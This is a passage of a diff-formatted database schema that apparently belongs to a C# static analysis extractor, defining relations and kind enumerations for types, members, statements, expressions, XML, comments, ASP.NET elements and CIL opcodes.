@float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + unique int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +compiler_generated(unique int id: @modifiable_direct ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, array = 3, this = 4 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 129 = @function_pointer_invocation_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = 